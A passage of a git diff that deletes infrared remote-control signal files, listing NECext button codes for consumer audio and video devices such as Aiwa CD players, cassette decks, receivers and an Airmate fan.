00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1E 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1F 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 26 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 27 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 28 00 00 00 -# -name: RWD -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 29 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2C 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2F 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 30 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 33 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 34 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 35 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 36 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 37 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 39 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3E 00 00 00 -# -name: VOD -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir deleted file mode 100644 index 9dd1c33e6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 24 4B 00 00 -command: 08 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 24 4B 00 00 -command: 0C 00 00 00 -# -name: digital -type: parsed -protocol: NECext -address: 24 4B 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 24 4B 00 00 -command: 14 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 24 4B 00 00 -command: 48 00 00 00 -# -name: phono -type: parsed -protocol: NECext -address: 24 4B 00 00 -command: 4C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 24 4B 00 00 -command: 50 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 24 4B 00 00 -command: 54 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 24 4B 00 00 -command: 55 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir deleted file mode 100644 index 6c8dab57a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STANDBY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: BAL_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: BAL_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: PHASE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0B 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0E 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Airmate/Fan/3,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Airmate/Fan/3,1.ir deleted file mode 100644 index 99bf46ec9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Airmate/Fan/3,1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Oscillation -type: parsed -protocol: NECext -address: 03 01 00 00 -command: 09 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 03 01 00 00 -command: 11 00 00 00 -# -name: Fan_mode -type: parsed -protocol: NECext -address: 03 01 00 00 -command: 21 00 00 00 -# -name: Speed -type: parsed -protocol: NECext -address: 03 01 00 00 -command: 41 00 00 00 -# -name: Light -type: parsed -protocol: NECext -address: 03 01 00 00 -command: 63 00 00 00 -# -name: Shutdown -type: parsed -protocol: NECext -address: 03 01 00 00 -command: 81 00 00 00 -# -name: Presets -type: parsed -protocol: NECext -address: 03 01 00 00 -command: C3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/CD Player/118,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/CD Player/118,0.ir deleted file mode 100644 index 7af0d1d7c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/CD Player/118,0.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0A 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0B 00 00 00 -# -name: REMAIN/ENTER -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0D 00 00 00 -# -name: PLAY/PAUSE_> -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 15 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 16 00 00 00 -# -name: SKIP/SEARCH_>> -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 18 00 00 00 -# -name: SKIP/SEARCH_<< -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 19 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir deleted file mode 100644 index 9e659e30f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DECK1_MS_>> -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 01 00 00 00 -# -name: DECK1_MS_<< -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 02 00 00 00 -# -name: DECK1_REC_MUTE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 03 00 00 00 -# -name: DECK1_REC -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 04 00 00 00 -# -name: DECK1_PLAY_> -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 05 00 00 00 -# -name: DECK1_R.PLAY_< -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 06 00 00 00 -# -name: DECK1_PAUSE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 07 00 00 00 -# -name: MONITOR_SOURCE/TAPE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 08 00 00 00 -# -name: DECK1_STOP_[] -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 0A 00 00 00 -# -name: DECK1 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 0E 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 0F 00 00 00 -# -name: DECK2 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 0F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 10 00 00 00 -# -name: MS/CUE_>> -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 11 00 00 00 -# -name: DECK2_MS_>> -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 11 00 00 00 -# -name: MS/REVIEW_<< -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 12 00 00 00 -# -name: DECK2_MS_<< -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 12 00 00 00 -# -name: REC_MUTE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 13 00 00 00 -# -name: DECK2_REC_MUTE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 13 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 14 00 00 00 -# -name: DECK2_REC -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 14 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 15 00 00 00 -# -name: DECK2_PLAY_> -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 15 00 00 00 -# -name: DECK2_R.PLAY_< -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 16 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 17 00 00 00 -# -name: DECK2_PAUSE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 17 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1A 00 00 00 -# -name: DECK2_STOP_[] -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1A 00 00 00 -# -name: COUNTER_ZERO_RETURN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1B 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1C 00 00 00 -# -name: HIGH -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1D 00 00 00 -# -name: DUAL_REC -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Mini System/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Mini System/110,0.ir deleted file mode 100644 index 60f55bbeb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Mini System/110,0.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 52 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir deleted file mode 100644 index 4cb7a151d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DSL -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: SURROUND_ON/OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 3F 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 46 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 77 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 78 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 79 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir deleted file mode 100644 index 916c7c7be..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_PRESET_+ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 10 00 00 00 -# -name: TUNER_PRESET_- -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 11 00 00 00 -# -name: TUNER_INDEX_+ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 50 00 00 00 -# -name: TUNER_INDEX_- -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 51 00 00 00 -# -name: TUNER_SELECT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 52 00 00 00 -# -name: GEQ_LINK -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir deleted file mode 100644 index 101bd1af5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1E 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 21 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: DAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir deleted file mode 100644 index f3eb20a20..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: GEQ_ON/OFF -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2C 00 00 00 -# -name: GEQ_MODE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown/127,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown/127,0.ir deleted file mode 100644 index 5bba3d62a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown/127,0.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0A 00 00 00 -# -name: CH -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0C 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0D 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0E 00 00 00 -# -name: COUNTER_DISPLAY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 10 00 00 00 -# -name: F.FWD_>>_/_>> -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 11 00 00 00 -# -name: REW_<<_/_<< -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 12 00 00 00 -# -name: -REC/QTR- -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 14 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 15 00 00 00 -# -name: PAUSE/STILL -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 17 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1A 00 00 00 -# -name: T-REC -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1E 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_UP_^ -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 40 00 00 00 -# -name: CHANNEL_DOWN_V -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 41 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 46 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 47 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 48 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 4C 00 00 00 -# -name: INDEX_SEARCH -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 4D 00 00 00 -# -name: TAPE_SPEED -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 50 00 00 00 -# -name: COUNTER_MEMORY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 51 00 00 00 -# -name: COUNTER_CLOCK -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 56 00 00 00 -# -name: A-TR -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 5C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 81 00 00 00 -# -name: CURSOR_> -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 83 00 00 00 -# -name: CURSOR_< -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 84 00 00 00 -# -name: VARIABLE_SEARCH_>> -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 85 00 00 00 -# -name: VARIABLE_SEARCH_<< -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 86 00 00 00 -# -name: INDEX_MARK -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 87 00 00 00 -# -name: INDEX_ERASE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 88 00 00 00 -# -name: CURSOR_^ -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 8D 00 00 00 -# -name: CURSOR_V -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 8E 00 00 00 -# -name: SUMMER_TIME -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 90 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir deleted file mode 100644 index 124aecfaa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 00 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0F 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 12 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 15 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 17 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1A 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 46 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 47 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 5C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 5F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: B0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir deleted file mode 100644 index cd69a9897..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: s_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: s_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: s_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: s_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: s_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: s_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: s_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: s_+10 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: function -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: 